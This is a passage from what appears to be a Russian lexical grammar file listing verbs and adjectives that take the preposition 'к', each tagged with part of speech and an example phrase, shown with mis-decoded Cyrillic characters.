rus_verbs:ะฟัะธััะฐะณะธะฒะฐัััั{}, // ะฟัะธััะฐะณะธะฒะฐัััั ะบ ะพะฟัั
ะพะปะธ
rus_verbs:ัะปะตัะฐัััั{}, // ัะปะตัะฐัััั ะบ ะฒะพะดะพะฟะพั
rus_verbs:ั
ะฐะถะธะฒะฐัั{}, // ั
ะฐะถะธะฒะฐัั ะบ ะฑะฐัััะบะต
rus_verbs:ะฟัะธะฒะปะตะบะฐัััั{}, // ะฟัะธะฒะปะตะบะฐัััั ะบ ะฐะดะผะธะฝะธัััะฐัะธะฒะฝะพะน ะพัะฒะตัััะฒะตะฝะฝะพััะธ
rus_verbs:ะฟะพะดะทัะฒะฐัั{}, // ะฟะพะดะทัะฒะฐัั ะบ ัะตะฑะต
rus_verbs:ะฟัะธะบะปะฐะดัะฒะฐัััั{}, // ะฟัะธะบะปะฐะดัะฒะฐัััั ะบ ะธะบะพะฝะต
rus_verbs:ะฟะพะดััะณะธะฒะฐัััั{}, // ะฟะพะดััะณะธะฒะฐัััั ะบ ะฟะฐัะปะฐะผะตะฝัั
rus_verbs:ะฟัะธะปะตะฟะธัั{}, // ะฟัะธะปะตะฟะธัั ะบ ััะตะฝะบะต ั
ะพะปะพะดะธะปัะฝะธะบะฐ
rus_verbs:ะฟะพะดะพะดะฒะธะฝััััั{}, // ะฟะพะดะพะดะฒะธะฝััััั ะบ ัะบัะฐะฝั
rus_verbs:ะฟัะธะฟะพะปะทัะธ{}, // ะฟัะธะฟะพะปะทัะธ ะบ ะดะตัะตะฒั
rus_verbs:ะทะฐะฟะฐะทะดัะฒะฐัั{}, // ะทะฐะฟะฐะทะดัะฒะฐัั ะบ ะพะฑะตะดั
rus_verbs:ะฟัะธะฟะตัะตัั{}, // ะฟัะธะฟะตัะตัั ะบ ััะตะฝะต
rus_verbs:ะฝะฐะณะธะฑะฐัััั{}, // ะฝะฐะณะธะฑะฐัััั ะบ ัะฒะตัะบั
ะธะฝัะธะฝะธัะธะฒ:ัะณะพะฝััั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะณะพะฝััั{ ะฒะธะด:ัะพะฒะตัั }, // ัะณะพะฝััั ะบ ะฒะพัะพัะฐะผ
ะดะตะตะฟัะธัะฐััะธะต:ัะณะพะฝัะฒ{},
rus_verbs:ะฟะพะบะพะฒัะปััั{}, // ะฟะพะบะพะฒัะปััั ะบ ะฒัั
ะพะดั
rus_verbs:ะฟัะธะฒะฐะปะธัั{}, // ะฟัะธะฒะฐะปะธัั ะบ ััะพะปะฑั
rus_verbs:ะพัะฟัะพัะธัััั{}, // ะพัะฟัะพัะธัััั ะบ ัะพะดะธัะตะปัะผ
rus_verbs:ะฟัะธัะฟะพัะฐะฑะปะธะฒะฐัััั{}, // ะฟัะธัะฟะพัะฐะฑะปะธะฒะฐัััั ะบ ะฝะพะฒัะผ ััะปะพะฒะธัะผ
rus_verbs:ะฟัะธะปะธะฟะฐัั{}, // ะฟัะธะปะธะฟะฐัั ะบ ััะบะฐะผ
rus_verbs:ะฟะพะดัะพะตะดะธะฝะธัั{}, // ะฟะพะดัะพะตะดะธะฝะธัั ะบ ะฟัะธะฑะพัะฐะผ
rus_verbs:ะฟัะธะปะธะฒะฐัั{}, // ะฟัะธะปะธะฒะฐัั ะบ ะณะพะปะพะฒะต
rus_verbs:ะฟะพะดัะตะปะธัั{}, // ะฟะพะดัะตะปะธัั ะบ ะดััะณะธะผ ะฝะพะฒะธัะบะฐะผ
rus_verbs:ะฟัะธะปะตะฟะธัััั{}, // ะฟัะธะปะตะฟะธัััั ะบ ัะบััะต
rus_verbs:ะฟะพะดะปะตัะฐัั{}, // ะฟะพะดะปะตัะฐัั ะบ ะฟัะฝะบัั ะฝะฐะทะฝะฐัะตะฝะธั
rus_verbs:ะฟัะธััะตะณะฝััััั{}, // ะฟัะธััะตะณะฝััััั ะบ ะบัะตัะปั ัะตะผะฝัะผะธ
rus_verbs:ะฟัะธะฑะธัััั{}, // ะฟัะธะฑะธัััั ะบ ััะฐะต, ัะปะตัะฐััะตะน ะฝะฐ ัะณ
rus_verbs:ะปัะฝััั{}, // ะปัะฝััั ะบ ะทะฐะฑะพัะปะธะฒะพะผั ั
ะพะทัะธะฝั
rus_verbs:ะฟัะธะฒัะทัะฒะฐัััั{}, // ะฟัะธะฒัะทัะฒะฐัััั ะบ ะปัะฑััะตะผั ั
ะพะทัะธะฝั
rus_verbs:ะฟัะธะบะปะตะธัััั{}, // ะฟัะธะบะปะตะธัััั ะบ ัะฟะธะฝะต
rus_verbs:ัััะณะธะฒะฐัััั{}, // ัััะณะธะฒะฐัััั ะบ ัะตะฝะฐัั
rus_verbs:ะฟะพะดะณะพัะฐะฒะปะธะฒะฐัั{}, // ะฟะพะดะณะพัะฐะฒะปะธะฒะฐัั ะบ ะฒัั
ะพะดั ะฝะฐ ะฐัะตะฝั
rus_verbs:ะฟัะธะณะปะฐัะฐัััั{}, // ะฟัะธะณะปะฐัะฐัััั ะบ ะดะพะบัะพัั
rus_verbs:ะฟัะธัะธัะปััั{}, // ะฟัะธัะธัะปััั ะบ ะพัะปะธัะฝะธะบะฐะผ
rus_verbs:ะฟัะธะบะพะปะพัั{}, // ะฟัะธะบะพะปะพัั ะบ ะปะฐัะบะฐะฝั
rus_verbs:ะฝะฐะบะปะพะฝััั{}, // ะฝะฐะบะปะพะฝััั ะบ ะณะพัะธะทะพะฝัั
rus_verbs:ะฟัะธะฟะฐะดะฐัั{}, // ะฟัะธะฟะฐะดะฐัั ะบ ะฟะตัะฒะพะธััะพัะฝะธะบั
rus_verbs:ะฟัะธะพะฑัะธัััั{}, // ะฟัะธะพะฑัะธัััั ะบ ะบัะปััััะฝะพะผั ะฝะฐัะปะตะดะธั
rus_verbs:ะฟัะธะดะธัะฐัััั{}, // ะฟัะธะดะธัะฐัััั ะบ ะผะตะปะบะธะผ ะพัะธะฑะบะฐะผ
rus_verbs:ะฟัะธััะฐัั{}, // ะฟัะธััะฐัั ะบ ะปะพัะบั
rus_verbs:ะฟัะพะผะพัะฐัั{}, // ะฟัะพะผะพัะฐัั ะบ ะฝะฐัะฐะปั
rus_verbs:ะฟัะธั
ะปัะฝััั{}, // ะฟัะธั
ะปัะฝััั ะบ ะณะพะปะพะฒะต
rus_verbs:ะฟัะธัะฒะฐััะพะฒะฐัััั{}, // ะฟัะธัะฒะฐััะพะฒะฐัััั ะบ ะฟะตัะฒะพะผั ะฟะธััั
rus_verbs:ะฟัะธะบัััะธัั{}, // ะฟัะธะบัััะธัั ะบ ะฒะตะปะพัะธะฟะตะดั
rus_verbs:ะฟะพะดะฟะปัะฒะฐัั{}, // ะฟะพะดะฟะปัะฒะฐัั ะบ ะปะพะดะบะต
rus_verbs:ะฟัะธัะฐะฒะฝะธะฒะฐัััั{}, // ะฟัะธัะฐะฒะฝะธะฒะฐัััั ะบ ะฟะพะฑะตะณั
rus_verbs:ะฟะพะดัััะตะบะฐัั{}, // ะฟะพะดัััะตะบะฐัั ะบ ะฒะพะพััะถะตะฝะฝะพะน ะฑะพััะฑะต ั ะพะบะบัะฟะฐะฝัะฐะผะธ
rus_verbs:ะธะทะณะพัะพะฒะปััััั{}, // ะธะทะณะพัะพะฒะปััััั ะบ ะฟััะถะบั ะธะท ัััะฐัะพััะตัั
rus_verbs:ะฟัะธัะบะฝััััั{}, // ะฟัะธัะบะฝััััั ะบ ะฟะตัะฒะพะน ะณััะฟะฟะต ัััะธััะพะฒ
rus_verbs:ะฟัะธัััะธัั{}, // ะฟัะธัััะธัั ะบะพัะธะบะฐ ะบ ะปะพัะบั
rus_verbs:ะฟัะธะบะพะฒัะฒะฐัั{}, // ะฟัะธะบะพะฒัะฒะฐัั ะบ ัะตะฑะต ะฒัะต ะฒะฝะธะผะฐะฝะธะต ะฟัะตััั
rus_verbs:ะฟัะธะณะพัะพะฒะปััััั{}, // ะฟัะธะณะพัะพะฒะปััััั ะบ ะฟะตัะฒะพะผั ัะบะทะฐะผะตะฝั
rus_verbs:ะพััััั{}, // ะะพะดะฐ ะพัััะฝะตั ะบ ัััั.
rus_verbs:ะฟัะธะตั
ะฐัั{}, // ะะฝ ะฟัะธะตะดะตั ะบ ะบะพะฝัั ะฑัะดััะตะน ะฝะตะดะตะปะธ.
rus_verbs:ะฟะพะดัะฐะถะธะฒะฐัััั{},
rus_verbs:ััะฟะตะฒะฐัั{}, // ััะฟะตะฒะฐัั ะบ ััะธะปะธััั
rus_verbs:ะฟัะธะฒะปะตะบะฐัั{}, // ะฟัะธะฒะปะตะบะฐัั ะบ ัะตะฑะต ะฒะฝะธะผะฐะฝะธะต
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัััะพะนัะธะฒัะน{}, // ะฟะตัะตะฒะพะดะธัั ะฒ ัััะพะนัะธะฒัั ะบ ะฟะตัะตะณัะตะฒั ัะพัะผั
rus_verbs:ะฟัะธะนัะธัั{}, // ะฟัะธะนัะธัั ะบะพ ะดะฒะพัั
ะธะฝัะธะฝะธัะธะฒ:ะฐะดะฐะฟัะธัะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั}, // ะผะฐัะธะฝะฐ ะฑัะปะฐ ะฐะดะฐะฟัะธัะพะฒะฐะฝะฐ ะบ ััะปะพะฒะธัะผ ะบัะฐะนะฝะตะณะพ ัะตะฒะตัะฐ
ะธะฝัะธะฝะธัะธะฒ:ะฐะดะฐะฟัะธัะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฐะดะฐะฟัะธัะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฐะดะฐะฟัะธัะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั},
ะดะตะตะฟัะธัะฐััะธะต:ะฐะดะฐะฟัะธัะพะฒะฐะฒ{},
ะดะตะตะฟัะธัะฐััะธะต:ะฐะดะฐะฟัะธััั{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะดะฐะฟัะธััััะธะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะดะฐะฟัะธัะพะฒะฐะฒัะธะน{ ะฒะธะด:ัะพะฒะตัั },
//+ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะดะฐะฟัะธัะพะฒะฐะฒัะธะน{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะดะฐะฟัะธัะพะฒะฐะฝะฝัะน{},
ะธะฝัะธะฝะธัะธะฒ:ะฐะดะฐะฟัะธัะพะฒะฐัััั{ะฒะธะด:ัะพะฒะตัั}, // ัะตะปะพ ะฐะดะฐะฟัะธัะพะฒะฐะปะพัั ะบ ััะปะพะฒะธัะผ ัััะพะฒะพะน ะทะธะผั
ะธะฝัะธะฝะธัะธะฒ:ะฐะดะฐะฟัะธัะพะฒะฐัััั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฐะดะฐะฟัะธัะพะฒะฐัััั{ะฒะธะด:ัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฐะดะฐะฟัะธัะพะฒะฐัััั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะดะตะตะฟัะธัะฐััะธะต:ะฐะดะฐะฟัะธัะพะฒะฐะฒัะธัั{},
ะดะตะตะฟัะธัะฐััะธะต:ะฐะดะฐะฟัะธััััั{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะดะฐะฟัะธัะพะฒะฐะฒัะธะนัั{ะฒะธะด:ัะพะฒะตัั},
//+ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะดะฐะฟัะธัะพะฒะฐะฒัะธะนัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะดะฐะฟัะธััััะธะนัั{},
rus_verbs:ะฐะฟะตะปะปะธัะพะฒะฐัั{}, // ะพัะฐัะพั ะฐะฟะตะปะปะธัะพะฒะฐะป ะบ ะฟะฐััะธะพัะธะทะผั ัะฒะพะธั
ัะปััะฐัะตะปะตะน
rus_verbs:ะฑะปะธะทะธัััั{}, // ะจัะพัะผ ะฑะปะธะทะธััั ะบ ะฟะพะฑะตัะตะถัั
rus_verbs:ะดะพััะฐะฒะธัั{}, // ะญัะบะธะท ัะฐะบะตัั, ัะฟะพัะพะฑะฝะพะน ะดะพััะฐะฒะธัั ะบะพัะฐะฑะปั ะบ ะัะฝะต
rus_verbs:ะฑัะบัะธัะพะฒะฐัั{}, // ะัะบัะธั ะฑัะบัะธััะตั ัะฐะฝะบะตั ะบ ะผะตััั ััะพัะฝะบะธ
rus_verbs:ะฟัะธัะธัะปะธัั{}, // ะั ะฟัะธัะธัะปะธะปะธ ะตะณะพ ะบ ัะธัะปั ัะบัะฟะตััะพะฒ
rus_verbs:ะฒะตััะธ{}, // ะะฐัะฐ ะฟะฐััะธั ะฒะตะดะตั ะฝะฐัะพะด ะบ ะฟัะพัะฒะตัะฐะฝะธั
rus_verbs:ะฒะทัะฒะฐัั{}, // ะฃัะธัะตะปั ะฒะทัะฒะฐัั ะบ ัะพะฒะตััะธ ั
ัะปะธะณะฐะฝะฐ
rus_verbs:ะฒะพะทะทะฒะฐัั{}, // ะฒะพะทะทะฒะฐัั ัะพะฟะปะตะผะตะฝะฝะธะบะพะฒ ะบ ะพััะถะธั
rus_verbs:ะฒะพะทัะตะฒะฝะพะฒะฐัั{}, // ะฒะพะทัะตะฒะฝะพะฒะฐัั ะบ ะฟะพะบะปะพะฝะฝะธะบะฐะผ
rus_verbs:ะฒะพัะฟัะปะฐัั{}, // ะะพะปั ะฒะพัะฟัะปะฐะป ะบ ะะปะต ัััะฐััะฝะพะน ะปัะฑะพะฒัั
rus_verbs:ะฒะพัั
ะพะดะธัั{}, // ะฒะพัั
ะพะดะธัั ะบ ะฒะตััะธะฝะต
rus_verbs:ะฒะพััะตััะฒะพะฒะฐัั{}, // ะฒะพััะตััะฒะพะฒะฐัั ะบ ะฒะตััะธะฝะต
rus_verbs:ััะฟะตัั{}, // ััะฟะตัั ะบ ะพะฑะตะดั
rus_verbs:ะฟะพะฒะตัะฝััััั{}, // ะฟะพะฒะตัะฝััััั ะบ ะบะพะผั-ัะพ
rus_verbs:ะพะฑัะฐัะธัััั{}, // ะพะฑัะฐัะธัััั ะบ ะพั
ัะฐะฝะฝะธะบั
rus_verbs:ะทะฒะฐัั{}, // ะทะฒะฐัั ะบ ััะพะปั
rus_verbs:ะพัะฟัะฐะฒะธัััั{}, // ะพัะฟัะฐะฒะธัััั ะบ ะฟะฐัะธะบะผะฐั
ะตัั
rus_verbs:ะพะฑะตัะฝััััั{}, // ะพะฑะตัะฝััััั ะบ ะทะพะฒััะตะผั
rus_verbs:ัะฒะธัััั{}, // ัะฒะธัััั ะบ ัะปะตะดะพะฒะฐัะตะปั
rus_verbs:ัะตั
ะฐัั{}, // ัะตั
ะฐัั ะบ ัะพะดะฝะต
rus_verbs:ะฟัะธะฑััั{}, // ะฟัะธะฑััั ะบ ะฟะตัะตะบะปะธัะบะต
rus_verbs:ะฟัะธะฒัะบะฝััั{}, // ะฟัะธะฒัะบะฝััั ะบ ะณะพะปะพะดั
rus_verbs:ัั
ะพะดะธัั{}, // ัั
ะพะดะธัั ะบ ััะณะฐะฝะฐะผ
rus_verbs:ะฟัะธะฒะตััะธ{}, // ะฟัะธะฒะตััะธ ะบ ัะตะฑะต
rus_verbs:ัะฐะณะฝััั{}, // ัะฐะณะฝััั ะบ ัะปะฐะฒะต
rus_verbs:ะพัะฝะพัะธัััั{}, // ะพัะฝะพัะธัััั ะบ ะฟัะตะถะฝะธะผ ะฟะตัะธะพะดะฐะผ
rus_verbs:ะฟะพะดะพัะปะฐัั{}, // ะฟะพะดะพัะปะฐัั ะบ ะฒัะฐะณะฐะผ
rus_verbs:ะฟะพัะฟะตัะธัั{}, // ะฟะพัะฟะตัะธัั ะบ ะพะฑะตะดั
rus_verbs:ะทะฐะนัะธ{}, // ะทะฐะนัะธ ะบ ะฟะพะดััะณะต
rus_verbs:ะฟะพะทะฒะฐัั{}, // ะฟะพะทะฒะฐัั ะบ ัะตะฑะต
rus_verbs:ะฟะพััะฝััััั{}, // ะฟะพััะฝััััั ะบ ัััะฐะณะฐะผ
rus_verbs:ะฟััะบะฐัั{}, // ะฟััะบะฐัั ะบ ัะตะฑะต
rus_verbs:ะพัะฒะตััะธ{}, // ะพัะฒะตััะธ ะบ ะฒัะฐัั
rus_verbs:ะฟัะธะฑะปะธะทะธัััั{}, // ะฟัะธะฑะปะธะทะธัััั ะบ ัะตัะตะฝะธั ะทะฐะดะฐัะธ
rus_verbs:ะฟัะธะถะฐัั{}, // ะฟัะธะถะฐัั ะบ ััะตะฝะต
rus_verbs:ะพัะฟัะฐะฒะธัั{}, // ะพัะฟัะฐะฒะธัั ะบ ะดะพะบัะพัั
rus_verbs:ะฟะฐะดะฐัั{}, // ะฟะฐะดะฐัั ะบ ะผะฝะพะณะพะปะตัะฝะธะผ ะผะธะฝะธะผัะผะฐะผ
rus_verbs:ะฟะพะปะตะทัั{}, // ะฟะพะปะตะทัั ะบ ะดะตัััะธะผัั
rus_verbs:ะปะตะทัั{}, // ะขั ัะฐะผะฐ ะบะพ ะผะฝะต ะปะตะทะปะฐ!
rus_verbs:ะฝะฐะฟัะฐะฒะธัั{}, // ะฝะฐะฟัะฐะฒะธัั ะบ ะผะฐะนะพัั
rus_verbs:ะฟัะธะฒะพะดะธัั{}, // ะฟัะธะฒะพะดะธัั ะบ ะดะฐะฝัะธััั
rus_verbs:ะบะธะฝััััั{}, // ะบะธะฝััััั ะบ ะดะฒะตัะธ
rus_verbs:ะฟะพะดะฝะตััะธ{}, // ะฟะพะดะฝะตััะธ ะบ ะณะปะฐะทะฐะผ
rus_verbs:ะฟะพะดะฝะธะผะฐัััั{}, // ะฟะพะดะฝะธะผะฐัััั ะบ ัะตะฑะต
rus_verbs:ะฟัะธะฑะฐะฒะธัั{}, // ะฟัะธะฑะฐะฒะธัั ะบ ัะตะทัะปััะฐัั
rus_verbs:ะทะฐัะฐะณะฐัั{}, // ะทะฐัะฐะณะฐัั ะบ ะฒัั
ะพะดั
rus_verbs:ัะบะปะพะฝะธัััั{}, // ัะบะปะพะฝะธัััั ะบ ะทะตะผะปะต
rus_verbs:ัััะตะผะธัััั{}, // ัััะตะผะธัััั ะบ ะฒะตััะธะฝะต
rus_verbs:ะปะตัะตัั{}, // ะปะตัะตัั ะบ ัะพะดััะฒะตะฝะฝะธะบะฐะผ
rus_verbs:ะตะทะดะธัั{}, // ะตะทะดะธัั ะบ ะปัะฑะพะฒะฝะธัะต
rus_verbs:ะฟัะธะฑะปะธะถะฐัััั{}, // ะฟัะธะฑะปะธะถะฐัััั ะบ ัะธะฝะธัะต
rus_verbs:ะฟะพะผัะฐัััั{}, // ะฟะพะผัะฐัััั ะบ ััะพะผะฐัะพะปะพะณั
rus_verbs:ะฟัะธัะปััะฐัััั{}, // ะฟัะธัะปััะฐัััั ะบ ะฟัะพะธัั
ะพะดััะตะผั
rus_verbs:ะธะทะผะตะฝะธัั{}, // ะธะทะผะตะฝะธัั ะบ ะปัััะตะผั ัะพะฑััะฒะตะฝะฝัั ะถะธะทะฝั
rus_verbs:ะฟัะพัะฒะธัั{}, // ะฟัะพัะฒะธัั ะบ ะฟะพะณะธะฑัะธะผ ัะพัััะฐะดะฐะฝะธะต
rus_verbs:ะฟะพะดะฑะตะถะฐัั{}, // ะฟะพะดะฑะตะถะฐัั ะบ ัะฟะฐะฒัะตะผั
rus_verbs:ัะตัััั{}, // ัะตัััั ะบ ะฟะฐััะฝะตัะฐะผ ะดะพะฒะตัะธะต
rus_verbs:ะฟัะพะฟัััะธัั{}, // ะฟัะพะฟัััะธัั ะบ ะฟะตะฒัั
rus_verbs:ะฟะพะดะฒะตััะธ{}, // ะฟะพะดะฒะตััะธ ะบ ะณะปะฐะทะฐะผ
rus_verbs:ะผะตะฝััััั{}, // ะผะตะฝััััั ะบ ะปัััะตะผั
rus_verbs:ะทะฐั
ะพะดะธัั{}, // ะทะฐั
ะพะดะธัั ะบ ะดััะณั
rus_verbs:ัะฒะฐะฝััััั{}, // ัะฒะฐะฝััััั ะบ ะฒะพะดะต
rus_verbs:ะฟัะธะฒะปะตัั{}, // ะฟัะธะฒะปะตัั ะบ ัะตะฑะต ะฒะฝะธะผะฐะฝะธะต
rus_verbs:ะฟัะธัะพะตะดะธะฝะธัััั{}, // ะฟัะธัะพะตะดะธะฝะธัััั ะบ ัะตัะธ
rus_verbs:ะฟัะธะตะทะถะฐัั{}, // ะฟัะธะตะทะถะฐัั ะบ ะดะตะดััะบะต
rus_verbs:ะดะตัะฝััััั{}, // ะดะตัะฝััััั ะบ ะฑะพััั
rus_verbs:ะฟะพะดัะตั
ะฐัั{}, // ะฟะพะดัะตั
ะฐัั ะบ ะฒะพัะพัะฐะผ
rus_verbs:ะณะพัะพะฒะธัััั{}, // ะณะพัะพะฒะธัััั ะบ ะดะพะถะดั
rus_verbs:ัะฑะตะถะฐัั{}, // ัะฑะตะถะฐัั ะบ ะผะฐะผะต
rus_verbs:ะฟะพะดะฝะธะผะฐัั{}, // ะฟะพะดะฝะธะผะฐัั ะบ ะธััะพัะฝะธะบั ัะธะณะฝะฐะปะฐ
rus_verbs:ะพัะพัะปะฐัั{}, // ะพัะพัะปะฐัั ะบ ััะบะพะฒะพะดะธัะตะปั
rus_verbs:ะฟัะธะณะพัะพะฒะธัััั{}, // ะฟัะธะณะพัะพะฒะธัััั ะบ ั
ัะดัะตะผั
rus_verbs:ะฟัะธัััะฟะธัั{}, // ะฟัะธัััะฟะธัั ะบ ะฒัะฟะพะปะฝะตะฝะธั ะพะฑัะทะฐะฝะฝะพััะตะน
rus_verbs:ะผะตัะฝััััั{}, // ะผะตัะฝััััั ะบ ัะพะฝัะฐะฝั
rus_verbs:ะฟัะธัะปััะธะฒะฐัััั{}, // ะฟัะธัะปััะธะฒะฐัััั ะบ ะณะพะปะพัั ัะฐะทัะผะฐ
rus_verbs:ะฟะพะฑัะตััะธ{}, // ะฟะพะฑัะตััะธ ะบ ะฒัั
ะพะดั
rus_verbs:ะผัะฐัััั{}, // ะผัะฐัััั ะบ ััะฟะตั
ั
rus_verbs:ะฝะตััะธัั{}, // ะฝะตััะธัั ะบ ะพะฑััะฒั
rus_verbs:ะฟะพะฟะฐะดะฐัั{}, // ะฟะพะฟะฐะดะฐัั ะบ ั
ะพัะพัะตะผั ะบะพััะพะฟัะฐะฒั
rus_verbs:ะพะฟะพะทะดะฐัั{}, // ะพะฟะพะทะดะฐัั ะบ ะฟัะธั
ะพัะตัะฐะฟะตะฒัั
rus_verbs:ะฟะพััะปะฐัั{}, // ะฟะพััะปะฐัั ะบ ะดะพะบัะพัั
rus_verbs:ะฟะพะฟะปััั{}, // ะฟะพะฟะปััั ะบ ะฑะตัะตะณั
rus_verbs:ะฟะพะดัะพะปะบะฝััั{}, // ะฟะพะดัะพะปะบะฝััั ะบ ะฐะบัะธะฒะฝะพะน ัะฐะฑะพัะต
rus_verbs:ะพัะฝะตััะธ{}, // ะพัะฝะตััะธ ะถะธะฒะพัะฝะพะต ะบ ะฒะตัะตัะธะฝะฐัั
rus_verbs:ะฟัะธัะปะพะฝะธัััั{}, // ะฟัะธัะปะพะฝะธัััั ะบ ััะฒะพะปั
rus_verbs:ะฝะฐะบะปะพะฝะธัั{}, // ะฝะฐะบะปะพะฝะธัั ะบ ะผะธัะบะต ั ะผะพะปะพะบะพะผ
rus_verbs:ะฟัะธะบะพัะฝััััั{}, // ะฟัะธะบะพัะฝััััั ะบ ะฟะพะฒะตัั
ะฝะพััะธ
rus_verbs:ัะฒะตะทัะธ{}, // ัะฒะตะทัะธ ะบ ะฑะฐะฑััะบะต
rus_verbs:ะทะฐะบะฐะฝัะธะฒะฐัััั{}, // ะทะฐะบะฐะฝัะธะฒะฐัััั ะบ ะบะพะฝัั ะฟััะตัะตััะฒะธั
rus_verbs:ะฟะพะดะพะทะฒะฐัั{}, // ะฟะพะดะพะทะฒะฐัั ะบ ัะตะฑะต
rus_verbs:ัะปะตัะตัั{}, // ัะปะตัะตัั ะบ ัะตะฟะปัะผ ะฑะตัะตะณะฐะผ
rus_verbs:ะปะพะถะธัััั{}, // ะปะพะถะธัััั ะบ ะผัะถั
rus_verbs:ัะฑะธัะฐัััั{}, // ัะฑะธัะฐัััั ะบ ัะตััะพะฒะพะน ะฑะฐะฑััะบะต
rus_verbs:ะบะปะฐััั{}, // ะบะปะฐััั ะบ ะดััะณะธะผ ะดะพะบัะผะตะฝัะฐะผ
rus_verbs:ะดะพััะฐะฒะปััั{}, // ะดะพััะฐะฒะปััั ะบ ะฟะพะดัะตะทะดั
rus_verbs:ะฟะพะฒะพัะฐัะธะฒะฐัััั{}, // ะฟะพะฒะพัะฐัะธะฒะฐัััั ะบ ะธััะพัะฝะธะบั ััะผะฐ
rus_verbs:ะทะฐะณะปัะดัะฒะฐัั{}, // ะทะฐะณะปัะดัะฒะฐัั ะบ ะปัะฑะพะฒะฝะธัะต
rus_verbs:ะทะฐะฝะตััะธ{}, // ะทะฐะฝะตััะธ ะบ ะทะฐะบะฐะทัะธะบะฐะผ
rus_verbs:ะฟัะธะฑะตะถะฐัั{}, // ะฟัะธะฑะตะถะฐัั ะบ ะฟะฐะฟะต
rus_verbs:ะฟัะธััะฝััั{}, // ะฟัะธััะฝััั ะบ ะฟัะธัะฐะปั
rus_verbs:ะฟะตัะตะฒะพะดะธัั{}, // ะฟะตัะตะฒะพะดะธัั ะฒ ัััะพะนัะธะฒัั ะบ ะฟะตัะตะณัะตะฒั ัะพัะผั
rus_verbs:ะฟะพะดะฐัั{}, // ะพะฝ ะฟะพะดะฐะป ะปะธะผัะทะธะฝ ะบ ะฟะพะดัะตะทะดั
rus_verbs:ะฟะพะดะฐะฒะฐัั{}, // ะพะฝะฐ ะฟะพะดะฐะฒะฐะปะฐ ัะพัั ะบ ะผััั
rus_verbs:ะฟัะธะพะฑัะฐัััั{}, // ะฟัะธะพะฑัะฐัััั ะบ ะบัะปััััะต
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะตัะฟะพัะพะฑะฝัะน{}, // ะะฐัะฐ ะดะพัะบะฐ ะฝะตัะฟะพัะพะฑะฝะฐ ะบ ััะตะฝะธั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะตะฟัะธัะฟะพัะพะฑะปะตะฝะฝัะน{}, // ะญัะธ ััััะพะนััะฒะฐ ะฝะตะฟัะธัะฟะพัะพะฑะปะตะฝั ะบ ัะฐะฑะพัะต ะฒ ะถะฐัั
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟัะตะดะฝะฐะทะฝะฐัะตะฝะฝัะน{}, // ะกัะฐััะน ะดะพะผ ะฟัะตะดะฝะฐะทะฝะฐัะตะฝ ะบ ัะฝะพัั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒะฝะธะผะฐัะตะปัะฝัะน{}, // ะะฝะฐ ะฒัะตะณะดะฐ ะฒะฝะธะผะฐัะตะปัะฝะฐ ะบ ะณะพัััะผ.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะฐะทะฝะฐัะตะฝะฝัะน{}, // ะะตะปะพ ะฝะฐะทะฝะฐัะตะฝะพ ะบ ะดะพะบะปะฐะดั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฐะทัะตัะตะฝะฝัะน{}, // ะญัะฐ ะบะฝะธะณะฐ ัะฐะทัะตัะตะฝะฐ ะบ ะฟะตัะฐัะธ.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฝะธัั
ะพะดะธัะตะปัะฝัะน{}, // ะญัะพั ััะธัะตะปั ัะฝะธัั
ะพะดะธัะตะปะตะฝ ะบ ััะตะฝะธะบะฐะผ.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะณะพัะพะฒัะน{}, // ะฏ ะณะพัะพะฒ ะบ ัะบะทะฐะผะตะฝะฐะผ.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ััะตะฑะพะฒะฐัะตะปัะฝัะน{}, // ะะฝ ะพัะตะฝั ััะตะฑะพะฒะฐัะตะปะตะฝ ะบ ัะตะฑะต.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะถะฐะดะฝัะน{}, // ะะฝ ะถะฐะดะตะฝ ะบ ะดะตะฝัะณะฐะผ.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะณะปัั
ะพะน{}, // ะะฝ ะณะปัั
ะบ ะผะพะตะน ะฟัะพััะฑะต.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะดะพะฑััะน{}, // ะะฝ ะดะพะฑั ะบ ะดะตััะผ.
rus_verbs:ะฟัะพัะฒะปััั{}, // ะะฝ ะฒัะตะณะดะฐ ะฟัะพัะฒะปัะป ะถะธะฒะพะน ะธะฝัะตัะตั ะบ ะฝะฐัะธะผ ะดะตะปะฐะผ.
rus_verbs:ะฟะปััั{}, // ะะฐัะพั
ะพะด ะฟะปัะป ะบ ะฑะตัะตะณั.
rus_verbs:ะฟะพะนัะธ{}, // ั ะฟะพัะตะป ะบ ะดะพะบัะพัั
rus_verbs:ะฟัะธะดัะธ{}, // ะฟัะธะดัะธ ะบ ะฒัะฒะพะดั
